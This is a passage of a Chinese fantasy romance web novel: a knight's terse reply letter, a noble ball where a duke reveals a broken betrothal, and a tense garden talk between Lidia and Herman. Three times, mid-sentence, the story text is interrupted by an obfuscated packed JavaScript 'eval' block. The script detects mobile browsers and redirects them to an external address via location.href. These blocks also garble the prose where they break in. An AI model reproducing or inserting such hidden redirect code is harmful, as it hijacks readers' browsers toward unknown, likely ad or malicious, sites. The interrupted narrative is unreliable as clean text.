好在雷文赶在他忍耐告罄前结束了调侃,在问过路西恩的打算后,认真给他讲了讲回信需要注意的事项。 “要注意称呼,用语也要庄重,对了,不能随便用便宜的信纸,会被认为是一种轻视——我这里还有些新买的,拿去用吧。”雷文想了想,又说,“写这种回信麻烦得很,我一般都用模板,等我找找……这本书里的模板拿去抄吧,绝对不会出错。” 要知道现在连教皇都在避免和艾尔顿家族发生冲突,雷文可不希望路西恩因为措词不当再得罪人。 但面对他的好意,路西恩居然罕见的犹豫起来:“用模板……是不是太敷衍了。” 雷文大吃一惊:“敷衍?你在想什——等等。” 他坐直身体,用锐利到可以审视所有罪人的眼神盯住路西恩:“你不对劲。” 他竟然真的以为路西恩只是想写一封礼貌的回信,怪只怪被这家伙多年来一本正经的样子骗到了! 在好友审视的目光下,路西恩丝毫没有再度解释的意思,带着好友给的书籍起身离开,体贴关门的背影不带有丝毫留恋。 “……” 重新坐在书桌前,路西恩郑重其事地翻开书本,认真阅览雷文给的模板。 “致亲爱的朋友XXX……” “我怀着最诚挚的敬意向您致意……” 看起来不太合适,路西恩翻过一页。 “感谢您送来的礼物,这令我万分欣喜……” 有点太随意了。路西恩又翻过一页。 “愿您安康,期待不久后与您相见。” ……路西恩合上书。 礼物送出去后,隔了几天,莉迪娅才收到来自圣骑士长的回信。 崭新的信封,信纸是散发着淡淡玫瑰香的淡粉色。和精致柔软的纸张不同,信件的内容非常礼貌疏离,没有莉迪娅平时见过那些信上冗杂繁琐的长难句,也没有那些她非常习惯且熟练运用的优雅措辞。 “多谢,手帕很柔软。我会离开王城一段时间,愿您安好。” 字体标准的就像用魔法印刷出来的一样,只有落款的签名带了明显的笔锋,一如骑士给人的感觉,沉稳且锋利。 莉迪娅看了好一会儿,虽然从写的内容上根本找不到再次回信的理由,但是她已经决定时刻注意打听路西恩回王城的消息,要在对方回来的第一时间再写一封问候的信给他! 和圣骑士长的友谊培养告一段落,安古因斯也摆脱了被欺负的处境,据伊芙说,虽然从表面上看他还是形单影只独来独往,但实际情况已经大不相同。哪怕安古因斯和从前一样高冷不近人情,也有的是特招生、甚至是一些小贵族试图和他打好关系。逼得安古因斯不得不想尽办法走偏僻小路来躲开所有人。 只要再等几天,安古因斯就可以顺顺利利进入神学院。 唯一的问题是她还没能和威斯夫特缓和关系。 坐在阳光明媚的教室里,莉迪娅的心头布满阴云。 她看了看坐在斜前方浑身散发冷气的和小时候一点都不一样的威斯夫特,重重叹了一口气。 一旁的兰登忍不住看她一眼,又看她一眼。 “艾尔顿小姐在为什么事烦恼呢?”棕发少年体贴询问,“有什么我可以效劳的。” 莉迪娅细声细语,委婉拒绝:“谢谢您的关心,巴克利先生。” 兰登·巴克利没有放弃:“请告诉我您遇上了什么难题,我很乐意为您解决烦恼。” 他看起来真的非常热心肠,是个大好人。也是为数不多能和威斯夫特说上话的人。 莉迪娅决定曲线救国,没办法和威斯夫特交朋友,那就先和他的朋友交朋友。她说:“其实,我是在为明天的舞会而烦恼。” 明天,在威斯夫特公爵的庄园有一场盛大的舞会,城里有身份地位的贵族都收到了邀请函。 莉迪娅的哥哥,诺克提斯·艾尔顿伯爵也不例外。 邀请函上还特地注明,诚邀艾尔顿小姐参加。诺克提斯本来想直接拒绝,但最终决定先询问莉迪娅的想法。 毕竟回到王城后,莉迪娅还从来没有参加过任 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15055952|162554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 何一场舞会,没有在贵族们面前正式亮过相。即使诺克提斯再想将妹妹保护得密不透风,让她远离那些肮脏阴暗的事情,但在如今这个看似平静、背地里矛盾冲突不断,随时都有可能在明面上爆发的局面下,诺克提斯也不能保证他可以一直活着保护妹妹。 所以,他希望莉迪娅能多结识一些权贵,以免未来落入孤立无援的局面。 莉迪娅当然要参加这次舞会。 这可是在威斯夫特庄园举办的舞会,说不定她就能在舞会上能找到机会和威斯夫特聊聊天,回忆一下童年,增进一下感情呢! 她摩拳擦掌,发誓一定要在舞会上让冷酷的威斯夫特对她强颜欢笑! “您是在为舞伴而烦恼吗?” 兰登的询问拉回了她的思绪。 “我听说您刚回到王城,也许还没有熟悉的舞伴。如果您不介意的话……”兰登停住,微微一笑,轻快地指了指自己。 “我……” “滋——” 前方突然传来极其刺耳的一声巨响,莉迪娅被吓了一大跳,捂住耳朵惊讶地向前看去。 赫尔曼突然起身,桌椅都被他的动作带动着被迫在地面摩擦,他不顾旁人探究的视线,径自大步走出教室。 莉迪娅茫然地看着他的背影,不知道是谁又惹到了这位阴晴不定喜怒无常的贵族少爷。 一时间,没人敢说话。还是伊芙嗤笑一声,用所有人都能听到的声音嘟哝了一句“又发什么疯”,众人才若无其事地继续各自谈论先前的话题。 莉迪娅也将被打断的那句话说了出来:“谢谢您的好意,不过这是我第一次参加大型舞会,对一些礼仪不是非常熟练,害怕给您添麻烦。这一次由哥哥来做我的舞伴吧。” 兰登了然,理解地点点头:“是我鲁莽了,这次确实应该由艾尔顿伯爵来当您的舞伴比较合适。” 作为立场非常明确的威斯夫特的一派,兰登掩饰不住面上的担忧,频频往赫尔曼离开的方向张望。在伊芙提出“您还是去看看比较好”的时候,非常适时地追了出去。 在兰登离开后,又有几个人停下交谈,互相张望几眼。 伊芙对这些犹犹豫豫的墙头草的心思没什么兴趣,她转向莉迪娅,和她延续刚才谈论的话题。 “舞会的礼服准备好了吗?明天到场的人会很多,不出意外都会是以后我们经常接触老家伙,该有的首饰一件都不能少。” “嗯嗯,伊芙放心,玛佩尔很可靠的!” “玛佩尔管家吗,还记得小时候见面,她几乎次次都会给你梳不重样的发型……” …… 兰登熟练地在一间空房间里找到了赫尔曼。 他以为赫尔曼又犯老毛病了,急急忙忙跟过来之后却发现对方好好地站在房间正中间,站姿挺拔,看不出丝毫异样。 只是气场过于阴沉,连他都有点不敢靠近。 兰登小心翼翼:“……赫尔曼?” 冰冷的蓝眼睛射向他。 他一激灵,站在原地不敢动了。 赫尔曼沉默了一会儿,低声问:“……她选你了吗。” “谁?”兰登呆愣愣说。 “她。” 兰登:“如果您想问艾尔顿小姐的话,很遗憾,她说她已经有心仪的舞伴了。” 赫尔曼沉默不语。 虽然不太看得出来,但是兰登知道,他在生闷气。 这位偶尔也会有点坏心眼的少年非常沉稳地等了一会儿,才慢悠悠补上后半句:“我想,艾尔顿小姐与艾尔顿伯爵的关系的确十分融洽。” 15. 第 15 章 夜晚的威斯夫特庄园比白天还要热闹。 华丽的魔法灯伫立在庄园入口处,宽阔的道路亮如白昼。一辆又一辆马车在门口短暂停留,又很快被放行。 舞会即将开场,但莉迪娅还未从艾尔顿庄园出发。 她坐在柔软舒适的沙发上,整个人陷入蓬松的裙摆里,任由女仆姐姐往头发上点缀一颗颗彩色的魔法小钻石,抬眼看了看时间,忍不住再次向玛佩尔管家确认:“真的没关系吗?已经快要迟到了。” 玛佩尔非常笃定:“放心吧,我亲爱的莉迪娅,这是小少爷特意嘱咐过的。” “好吧。” 头发编好了,莉迪娅乖乖站起来,张开双臂,等女仆姐姐最后检查一遍有没有漏戴首饰。 三个女仆姐姐围着她转了几圈,凑在一起叽叽喳喳讨论了一会儿,替换了耳环和左手的手链,又往莉迪娅的发间戴了一个小小的王冠。一切准备就绪,莉迪娅试着走了几步,站在原地轻轻跳了跳。 裙子比外表看上去更加轻盈,完全不影响跑跳,浑身上下最明显的负重反而来源于那些镶嵌了魔法石的饰品。 从某种程度上来说,这是一身进可攻退可守,堪称全副武装的打扮。 诺克提斯的礼服和她身上的是一套。高大俊美的青年从旋转楼梯上缓缓而下,浅金发色在白色燕尾服的衬托下更加耀眼,长袍斗篷在身后漾出弧度。兄妹二人如出一辙的绿眼睛互相对视,两双眼睛都亮了起来。 “哥哥。”莉迪娅抬头看他,毫不吝啬地赞美,“哇,今晚很帅气哦!” 诺克提斯看着她,面色冷峻,嘴角微动:“注意仪态,莉迪娅。” 他将沉重的白色手杖放到一旁,接过女仆手里的披风,展开,为仰头等待的幼妹披上,骨节分明的十指灵活翻动,系了一个牢固的蝴蝶结。 “很适合你。” 澄澈剔透的碧绿眼睛毫无保留地、信任地看着他。十年过去,记忆中那个病弱到随时都有可能夭折的孩子,在他几乎病态的呵护下终于拥有了健康的身体。 诺克提斯沉沉地注视着她,温凉的手指轻轻捏住她的下巴,而后整个手掌包裹上去,掌心贴着她小巧白皙的脸颊,指腹摩挲。 空气在这一瞬间微妙地沉寂了。 女仆们颤颤巍巍低下头,连玛佩尔也不敢在这时候贸然打断艾尔顿伯爵。 只有莉迪娅毫无所觉一般,亲昵地偏头蹭了蹭兄长温暖的手心。一如她曾经躺在床上,连呼吸都极其困难的时候,也会用尽全身的力气来安慰伤心的兄长。 “哥哥。”她轻声唤道,侧头在他掌心轻轻一吻,“我在这里。” 与她如出一辙的碧绿眼睛恍然回神,多年来笼罩在他心头的阴影,被妹妹的一个举动轻而易举地安抚。 诺克提斯闭了闭眼,再睁开时,又是那个冷峻的伯爵大人。 他冲玛佩尔点了点头,对莉迪娅曲起手臂:“走吧。” 有着相似眉眼的兄妹二人站在一起,任谁都能看出他们的血缘关系,这世界上再不会有人比这对相依为命的兄妹更亲近了。 由于到的太晚,几乎是最后出场的艾尔顿兄妹遭到了全场目光的洗礼。而这一次莉迪娅在贵族们面前的正式亮相,也彻底打破了一部分人的怀疑。 居然真的让她也活下来了…… 不过几个转身的功夫,无数眼神交锋,互相交换了彼此不言而喻的心思。 来得晚,最大的好处是不会立刻陷入被动社交的窘境。 莉迪娅紧紧依靠着诺克提斯,哪怕早就做好了足够的准备,但一出场就要面对那么多探究与打量的视线,到底让在小镇生活了十年的她感到了局促和不安。 这和在圣罗帝亚学校里的感觉完全不一样,莉迪娅可以很清楚的分辩出这种不同。在学校里,大家都是同龄人,是哪怕彼此的家族之间素有嫌隙,忘带笔记的时候也能别别扭扭拼桌合看的同学。 可是刚才那些人…… 她忍不住再往兄长身边靠了靠,仰头对上他微挑的眉眼,满眼心疼地冲他摇头一笑。 这些年,哥哥孤身一人在王城,每天都要面对这些吗。 诺克提斯带着她直接向大厅中央走去,路过的人们纷纷侧身避让,两人畅通无阻在中央堪称视野最佳的位置站定。 周围的人尚且来不及寒暄,庄园的主人已经开始发表欢迎辞了。 威斯夫特公爵穿了一身极其瞩目的深红色燕尾服,和燕尾服相衬的红棕发色极尽张扬。他神态自如站在台上,高高举起酒杯向众人致谢。 单看外表,很难相信这是一个已经做了父亲的男人。 他的儿子,威斯夫特庄园的继承人,赫尔曼,就站在他身后的位置。 莉迪娅一眼就看到了赫尔曼,对比了一下这对父子俩的五官,除了发色之外,两人几乎是从同一个模子里刻出来的。 人群中,同样还有人在打量这对父子。 “你在神学院这么久,有没有看出端倪?小威斯夫特的位置稳不稳?” “父亲,以我的观察,目前来看,应该没有人能威胁他的地位。”少年低声耳语,“他和从前一样,傲得很,除了卡德蒙小姐,只有巴克利家的小子能和他说上话。” “哼,他才是真的命好。小时候长得像他母亲,如今长大了倒和这老东西一模一样。” 少年垂眸不语。 他的父亲瞥他一眼,接着道:“你是我的孩子中资质最好的,不要让我失望。” “是,父亲。” …… 开场舞,由威斯夫特公爵和一位美丽的夫人领舞。两人在舞会场地中央相拥,不断变换的魔法灯下,旋转的舞步和翻飞的裙摆在众人面前飘过。威斯夫特公爵亲昵地靠近夫人,轻轻耳语了什么,惹得那位美丽的夫人捂嘴轻笑。 莉迪娅有点好奇:“她是赫尔曼的新妈妈吗?” 她小时候和威斯夫特夫人见过一次,她记得那位温柔忧郁的夫人有着长及腰间的银色长发。小小的莉迪娅在威斯夫特庄园的花园里左脚绊右脚摔了一跤,被那位夫人温柔地扶起来,靠在那个散发着香气的柔软怀抱里的时候,小莉迪娅还偷偷摸了一下一缕垂落在夫人胸前的银色长发。 后来,有着和母亲相同的发色的赫尔曼非常轻易地俘获了小莉迪娅,也被小莉迪娅央求着蹲在她面前,让她摸摸他的银发。 而现在这位与威斯夫特公爵一起跳开场舞的夫人,红发红眸,明媚张扬,显然不是她记忆中的公爵夫人。 面对妹妹那可以被称为天真的问题,诺克提斯看着正在跳舞的两人皱了皱眉,低头耳语:“不,她只是威斯夫特公爵今天的舞伴。” 莉迪娅似懂非懂,大概听出了兄长的言下之意,但没敢往深了想。她隐约记得好像是在她刚离开王城没多久,赫尔曼的母亲就去世了。当时莉迪娅刚刚抵达小镇,身体虚弱,连坐起来的力气都没有,每天只能躺在床上无所事事,玛佩尔就会给她念从王城寄来的信。其中一封信里就提到威斯夫特公爵夫人去世的消息。 当时,小莉迪娅还想着等她养好身体,回王城后一定要记得好好安慰赫尔曼。 没想到长大之后再见到他,记忆中温柔的小哥哥已经变成了眼前这个冷漠的少年。 想到这里,莉迪娅有点难过。她问:“公爵大人没有再娶妻吗?” “没有。”诺克提斯说,“但是外面的传言不少。不要和威斯夫特有太多往来,家风不好。” 艾尔顿伯爵毫不顾忌地在公开场合表现出自己与威斯夫特公爵的不合,甚至连带着迁怒小威斯夫特。 哥哥的态度过于严肃,莉迪娅噤声,非常明智地没有在这个时候为赫尔曼说话。 ——虽然她现在也不知道该为赫尔曼说些什么。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15062667|162554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好在,在领舞的带动下,已经有人陆续进场了。 诺克提斯也停下了谈话。身着白色燕尾服的青年弯下腰,一向冷着脸的他,此时此刻也忍不住勾了勾唇角,朝他亲爱的妹妹伸出右手。 金发碧眼的女孩笑盈盈屈膝回礼,搭着兄长的手一同步入舞池。 她不是第一次和哥哥跳舞,或者说,莉迪娅的舞步都是由诺克提斯带亲自教导的,她只和哥哥跳过舞。 但之前都是两人私下单独练习,这还是第一次在公开场合一起跳舞。 莉迪娅紧张地感觉手心都有点出汗,不知道是不是她的错觉,好像哥哥手心的温度也有点高。 伴随着音乐的鼓点,搭在她腰间的右手微微用力,轻柔地带着女孩旋转。白色的裙摆飞扬、盛放。 毫无疑问,这是舞池中最美丽的一道身影。 敏锐的感知让诺克提斯知道,有不少目光在似有似无地打量他们。他凝视着妹妹的笑容,与她相牵的左手紧了紧,将人带到身前,侧身挡住旁人的视线。 白骑士甘愿为他的女孩挡下一切危险。 一舞终了,音乐停下时,莉迪娅已经有点喘气了。 舞步并不激烈,大部分时候都是诺克提斯带着她在跳。只是她太久没有这么大的运动量,体力有点跟不上。 诺克提斯带着她到一旁休息,招来侍从给她端了一杯温水,盯着她喝了小半杯,沉吟:“回去之后,给你制定一个锻炼计划。” 莉迪娅不太情愿:“真的要锻炼吗,会好累好累好累的。” 她一连说了好多个“好累”,还向哥哥展示自己细细的手臂。 诺克提斯上手捏了一下,虽然看起来细,但是莉迪娅的骨架小,实际上都是软软的嫩肉。 还好,这么多年总算养出了一点肉。 他坚定道:“既然不生病了,还需要更健康一点。以后跟着计划锻炼,你现在的体力太差了。” “好吧。”知道哥哥是为了自己着想,莉迪娅乖乖应下,但还是抓着机会撒娇,“那锻炼的时候哥哥多陪陪我,好不好。” “兄妹俩的关系真好。” 突兀的男声打断了两人的对话,莉迪娅被吓了一跳,抬头望去,来人径直坐在他们对面,深红色礼服裤包裹的长腿交叠。见女孩看向自己,威斯夫特公爵挑眉轻笑,冲她扬了扬手里的酒杯。 莉迪娅小声打招呼:“您好,公爵先生。” 诺克提斯礼貌点头:“威斯夫特公爵。” “啧,小艾尔顿,真冷淡啊。”男人轻笑,“你妹妹比你可爱多了。好久不见,小莉迪娅,还记得我吗?” “记、记得的。”面前的公爵先生太过自来熟,莉迪娅有点难以招架,磕磕绊绊回答,“小时候,在您的庄园里见过。” 她其实对威斯夫特公爵没什么印象,只记得温柔的公爵夫人……不过这就没必要实话实说了。 威斯夫特公爵感慨:“小莉迪娅都长这么大了,还记得你小时候第一次见我,都被吓哭了哦。哎呀,我可抱着哄了好一会儿呢。” “……欸?” 怎么也没想到会在这种场合被提到幼年的事,莉迪娅手足无措,完全不知道该如何应对这位不安常理出牌的公爵先生。 好在不用她回答,诺克提斯出面打断威斯夫特公爵:“您过来只是为了谈这些事情吗。” “活跃一下气氛嘛,真是古板。”威斯夫特公爵说,“怎么,长大了,连你最喜欢的洛伦佐叔叔的话都不愿意听了?” 明明是带着笑意的言语,但气氛莫名冷了下来。 诺克提斯很明显地深呼吸了一口气:“……您请说。” 威斯夫特公爵往后一靠,语气散漫:“只是来看一眼小莉迪娅而已。瞧你吓得,怎么,怕我又提起婚约的事?” 婚约? 莉迪娅一愣,看向哥哥。 16. 第 16 章 看到莉迪娅的表情,威斯夫特公爵这下是真的有点惊讶了:“小莉迪娅居然不知道……也对,那个时候你还小呢——不过,诺克提斯,你甚至都不愿意将这件事告知你的妹妹吗?” 诺克提斯握住妹妹的手以作安抚,对上威斯夫特公爵时脸色更加冷淡:“既然已经解除,我想就没有再提起的必要,您说对吗。” “真是无情啊。”威斯夫特公爵摇头感慨,“我那个儿子可为此伤心很久了。” 眼看诺克提斯态度坚决,威斯夫特公爵不再调侃,转头说起了别的事:“最近有些家伙不太安分,陛下让我转告你,有时间去处理一下。” 接下来要说的话题不适合别人旁听,威斯夫特公爵四处张望一番,指着站在不远处的赫尔曼,对莉迪娅说:“我的小莉迪娅,去和你的赫尔曼哥哥说会儿话吧。” 莉迪娅迟疑着准备起身,却发现兄长的手又一次牢牢环在她的腰间,将她禁锢在自己身边。 “她是艾尔顿家的继承人。唯一一位。”诺克提斯面无表情,“等我拿到公爵之位,她就是名副其实的公爵继承人。我的妹妹有资格参与家族的所有决策,请您记住这一点——” “她永远不会,也不可能成为被关在威斯夫特庄园里的展品。” 威斯夫特公爵看着他,看着这对兄妹,沉默片刻,忽然玩味地笑起来。 这位比诺克提斯年长许多的男人,展现在大众面前的一直是自由散漫的一面,再加上王城中与他有关的层出不迭的花边传闻,在许多年轻人的印象中,威斯夫特公爵是出了名的放荡不羁,沉迷享乐。 就连老一辈中的很多人,也在这些年不断涌现的荒唐传闻中,几乎已经忘记了洛伦佐·威斯夫特当年是如何在王位继承权最动荡的时候,以一己之力将如今的国王陛下从被流放的边缘重新推举到权利旋涡的最中心。 而现在,在艾尔顿兄妹面前,这只已经蛰伏多年的猛虎,终于舍得在他们面前展露锋利的獠牙。 “想要和我抗衡,诺克提斯,当年,就连你的父亲都没能做到。你以为凭你现在的实力,就可以完完全全保护住你唯一的妹妹了吗。” 诺克提斯紧握双手,沉默不语。 “念在我与你父亲过去的交情的份上,我不会主动对你出手。”威斯夫特公爵慢条斯理放下酒杯,冲一旁手足无措的莉迪娅露出一个带着安抚意味的笑容,轻声对她说:“小莉迪娅,去找赫尔曼哥哥玩儿吧。” 莉迪娅不安地看向哥哥,这一次,诺克提斯没有再拦着她。只是揽住她的肩膀用力抱了抱,以作安抚。 “去吧。” 幼鸟惴惴不安,离开了温暖的巢穴。 莉迪娅知道,自父亲母亲意外离世后,只有兄长一个人支撑着艾尔顿家族。而她非但没能帮上忙,反而因为自己脆弱多病的身体几度濒临死亡,愈发拖累了兄长。 现在,她获得了梦寐以求的健康。她终于可以为兄长做点什么了。 莉迪娅读不懂王城变幻莫测的局势,也没有庞大到可以轻松抵御千军万马的魔力。她唯一的优势就是在那个神秘诡谲的梦中看到的“预知的未来”。 她已经成功改变了自己的死亡,只要她继续努力,她和哥哥,也一定能在未来混乱的局面中成功活下去。 赫尔曼就站在舞会场地的角落里。 银发少年独自伫立在落地窗旁,借着朦胧的月色欣赏花园的风景。 往常总和他在一起的兰登不见踪影。有不少人试图上前搭讪,但很快在少年冷漠的眼神下节节败退。 莉迪娅偷偷看了他好一会儿,才念叨着思索了好多遍的措辞走过去。 “贵安,赫尔曼……哥哥。”她磕磕绊绊说出这个称呼,试图拉近关系,“洛伦佐叔叔正在和我哥哥闲谈。” 碧绿色的眼睛,在如薄纱般笼罩下来的月色下,更加美丽动人。 赫尔曼收回视线,冷声道:“好久不见……莉迪娅小姐。” 被喊了名字,就是可以继续谈话的意思吧? 莉迪娅心下大松一口气,瞧了瞧负手而立的少年,再接再厉:“您在看什么呢?” 赫尔曼望着窗外,头也不回:“无聊的风景。” “……” 这真的很难继续往下聊。 莉迪娅一时失语,换做其他人,她肯定已经找借口开溜了,但现在站在她面前的是赫尔曼,是必须要和他成为朋友的赫尔曼。 于是她非常坚强地站在他身边,没有动,也没有说话,像一尊沉默的雕像,竭力无视周围尴尬的气氛。 幸运的是赫尔曼也没有走开,仿佛默许了她的陪伴。 两个人相对无言,在落地窗旁边伫立了许久。久到舞池里第三次响起音乐,莉迪娅悄悄挪了挪有点发麻的左脚,抬眼看向赫尔曼,小心翼翼提议:“赫尔曼哥哥,我们要不要去跳……要不要去花园里逛一逛?” 在少年猛然低头冲她扫射过来的锐利目光下,莉迪娅话音一转,差点咬到舌尖,险而又险地改口。 好、好可怕的眼神。 她被吓得一激灵,耳朵里都是自己的心脏怦怦跳动的声音。 该不会又生气了吧? 在她胆战心惊的注视下,赫尔曼沉默了很久,才非常勉强地点了点头。 “如您所愿。” 和热闹喧嚣的舞会大厅相比,花园里要安静很多,只能隐隐约约听到一点点音乐。 莉迪娅和赫尔曼并排走在花丛间的小路上,在月亮的注视下,气氛宁静又融洽。 ……真的很融洽吗? 和身旁似乎随心所欲漫步的少年比起来,比他矮一个头的女孩步伐局促的多,绞尽脑汁在寻找一个适合闲谈的话题。 走到一处分叉口,莉迪娅看着地上的向两个不同方向衍生的道路,终于找到了一个合适的话题切入点:“赫尔曼哥哥,您还记的小时候我们曾一起在花园里玩过家家吗?” 见赫尔曼不反感,莉迪娅接着往下说:“我记得还有伊芙姐姐,她和我们一起……” “没有伊芙。”赫尔曼突然打断她,“没有别人。” “嗯?”莉迪娅一愣,“可、可是我记得玩过家家的时候好像有三个人……” 赫尔曼斩钉截铁:“没有。” “……好吧。”莉迪娅不想和他争辩,顺着他的话说下去,“小时候你和我一起玩过家家……” “嗯,我是丈夫,你是妻子。” ……他们经历的是同一个童年吗? 回到王城这段时间,她接触了许多熟悉的事物,童年模糊的记忆渐渐清晰。尤其今天来到威斯夫特庄园,站在并不陌生的花园里,莉迪娅一下子想起了很多小时候在这里玩耍的画面。 她记忆中,好像伊芙才是妈妈,她是妈妈的乖宝宝,赫尔曼因为是后加入的,被伊芙勉为其难给了一个“捡来的便宜弟弟”的位置啊? 所以伊芙负责打扮莉迪娅,而在“妈妈”出门工作的时间里,作为“姐姐”的莉迪娅要看管不懂事的“弟弟”。莉迪娅还特别机智地借着给“弟弟”扎小辫子的机会摸了摸他的头发。 怎么同样的一段记忆,到赫尔曼口中,就彻底变成另一个版本了。 莉迪娅尴尬地胡乱应和一声,不知道该怎么往下接话。 赫尔曼也没有再说话,两人又陷入了古怪的沉寂中。 僵持了好一会儿,就在莉迪娅想要找借口逃离的时候,赫尔曼终于主动开口问了第一个问题。 “为什么回来?” 银发少年转身,低头直视少女迷茫困惑的双眼,重复自己的问题:“为什么突然回来。” “我……”莉迪娅张张嘴,不知道怎么回答,“哥哥说想让我回王城,所以我就——” 她看着赫尔曼冷漠的眉眼,忽然语塞,惶惶不安地闭上嘴。 被、被讨厌了吗? 这里离宴会大厅已经有一段距离,舞会的音乐断断续续,几乎很难再听清,耳边只有草丛中持续不断的虫鸣和微风拂过花丛吹来的枝叶摩擦的声响。 银发少年与她相视而立,在这难得一见的独处时光中,从那双总是承载着冰霜的蓝眼睛里,莉迪娅似乎察觉到了一丝哀伤。 她咬了咬唇,忽然聊起了另一个话题:“那个时候,我快要死掉了。” 少女的声音干净、柔和,平静地讲述着过去的事情, “魔兽像蝗虫一样源源不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15065377|162554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 断,我们坚持了很久,但一直没能等来救援。 “爸爸让我闭上眼睛,他和妈妈一起把最后一点魔力都灌输到我身上……我以为我要死掉了,浑身都好痛好痛,像要被撑爆了一样。等我再次醒来的时候,房间里只有玛佩尔陪着我。 “有很长一段时间,我不能说话,不能动弹……哥哥很难得才能来看我一次,后来我能下床走路,但还是不能接触外面的世界,只要吹到一点点风就会大病一场。 “……到了这两年,我的身体才好转起来,前段时间,哥哥说想接我回来,我才——” “够了。” 莉迪娅停下来,安静地看着他。 “不用再说了。”赫尔曼闭上眼,再睁开时,已经将所有情绪都压了下去,“那婚约呢,为什么在回来之前突然解除。” 莉迪娅张了张嘴,不知道怎么回答这个问题。 见她沉默不语,赫尔曼自嘲地扯了扯嘴角,不再奢求得到一个答案,转身离开。 他走得突然,莉迪娅看着他尚且介于少年与青年之间的身影,纠结之下还是选择追过去。 哒哒哒。 急促的脚步在身后响起,赫尔曼原本迅速的步伐越来越缓慢,等走到一处喷泉旁的空地上,他终于站定。 从泉眼中喷涌出来的水流不急不缓,平静的水面倒映出少年的脸庞。 莉迪娅喘了几口气,看着赫尔曼的背影,说:“我不知道婚约的事情——从来都不知道。” 少年的背影僵住了。 一直戴在脸上的故作平静的面具终于破裂,他震惊转身看向莉迪娅,不可置信:“什么?” “婚约,我从来都不知道……从开始,到解除,我都没有听说过。” 他低声喃喃:“为什么……” 莉迪娅说:“不管你信不信,在我的记忆力,真的不存在这件事,如果……如果伤害到你了,这不是我的本意。” 说这话的时候,她有一点心虚与愧疚。因为莉迪娅已经隐隐猜到,是哥哥没有告诉她有关“婚约”的消息,也应该是哥哥主动替她解除了婚约。 赫尔曼看着她,再次确认:“第一次见面时,父亲就提过我们的婚约。” 莉迪娅更愧疚了,她甚至记得小时候玩过家家的场景,却对婚约一点印象都没有:“我、我那个时候还太小了,不记得这件事……” 是了,他比她大两岁。四岁的他已经有了小贵族的风范,穿着西装小短裤彬彬有礼同一位美丽的夫人问好,被那位温柔的夫人摸了摸脑袋,指着身旁比他矮一截的小团子说:“呀,莉兹,快来看你的小未婚夫。” 两个小团子之间显然不会产生任何惊天动地的爱情火花。小莉迪娅只知道拉着小哥哥的手,肆无忌惮地将长牙期间被刺激唾液腺而流出来的口水擦到小哥哥身上。而小赫尔曼则完美承担了一个未婚夫对自己的未婚妻应该承担的责任,认认真真给小莉迪娅擦口水。 他是个严谨而固执的小男孩,从小就被灌输了贵族的传统观念,将家族荣誉视作生命,也将未来的妻子视为自己的责任。 但这些都被一场意外打乱了。 艾尔顿家传来噩耗,伯爵夫妇意外身亡,女儿侥幸生还却昏睡不醒,只有当天独自留在庄园的儿子安然无恙。 小赫尔曼试图前往艾尔顿庄园看望,却被父亲关在家中。不久后,他就得到了莉迪娅离开王城前往偏远小镇养病的消息。 再后来,他的母亲染病去世,父亲性情大变。在一个接一个打击下,他被迫迅速成长。 赫尔曼原本是个温柔的孩子。但在王城里,作为失去母亲的公爵之子,温柔的性格无法让他在这里存活。他被迫做出了很多改变。 与莉迪娅的婚约是这么多年里唯一没有变过的东西,这几乎已经成为了他与珍贵的年幼时光唯一的联系。他像呵护一块美丽而脆弱的水晶一样呵护这段婚约,尽管他往打听到的莉迪娅所在的小镇上寄的所有东西都石沉大海,但只要莉迪娅还活着,总有一天,他会将她接回王城。 这个绮丽的美梦,在婚约解除消息传来的那一刻,就像黎明前夕漂浮在海面的泡沫,在晨曦的第一缕阳光照下来时,轻而易举地破碎了。 17. 第 17 章 月光下,那双冰蓝色的眼睛里闪过一丝迷茫。 莉迪娅张了张嘴,实在不知道在这种情况下能说些什么,她盯着潺潺流动的水柱,多么希望自己是一尊不用说话的雕塑。 这样她就可以在喷泉中央安静地做一个泉眼,只管对着所有路过的人滋水,再也不用面对这种尴尬又窘迫的局面了。 好在,赫尔曼似乎并不需要她的安慰。 不过片刻,银发少年就收敛起所有情绪,极其冷静地确认:“不是你解除的婚约。” 莉迪娅摇摇头。 显而易见,虽然是当事人之一,她却是对这场意外终止的婚约最一无所知的那一个。 在国家的权力中心长大,从小经历尔虞我诈的老牌贵族子弟赫尔曼,已经在短短几秒内联想到了无数个阴谋论。 其实,在确认莉迪娅真的完好无损地回到王城之前,对于艾尔顿家的爵位继承,贵族们之间一直流传着一种几乎已经被当成真相的猜测。 在帝国,无论男性与女性,都拥有相同的继承权。 无论年长或年幼,在法律上,双方对财产、对爵位的继承权是相同的。 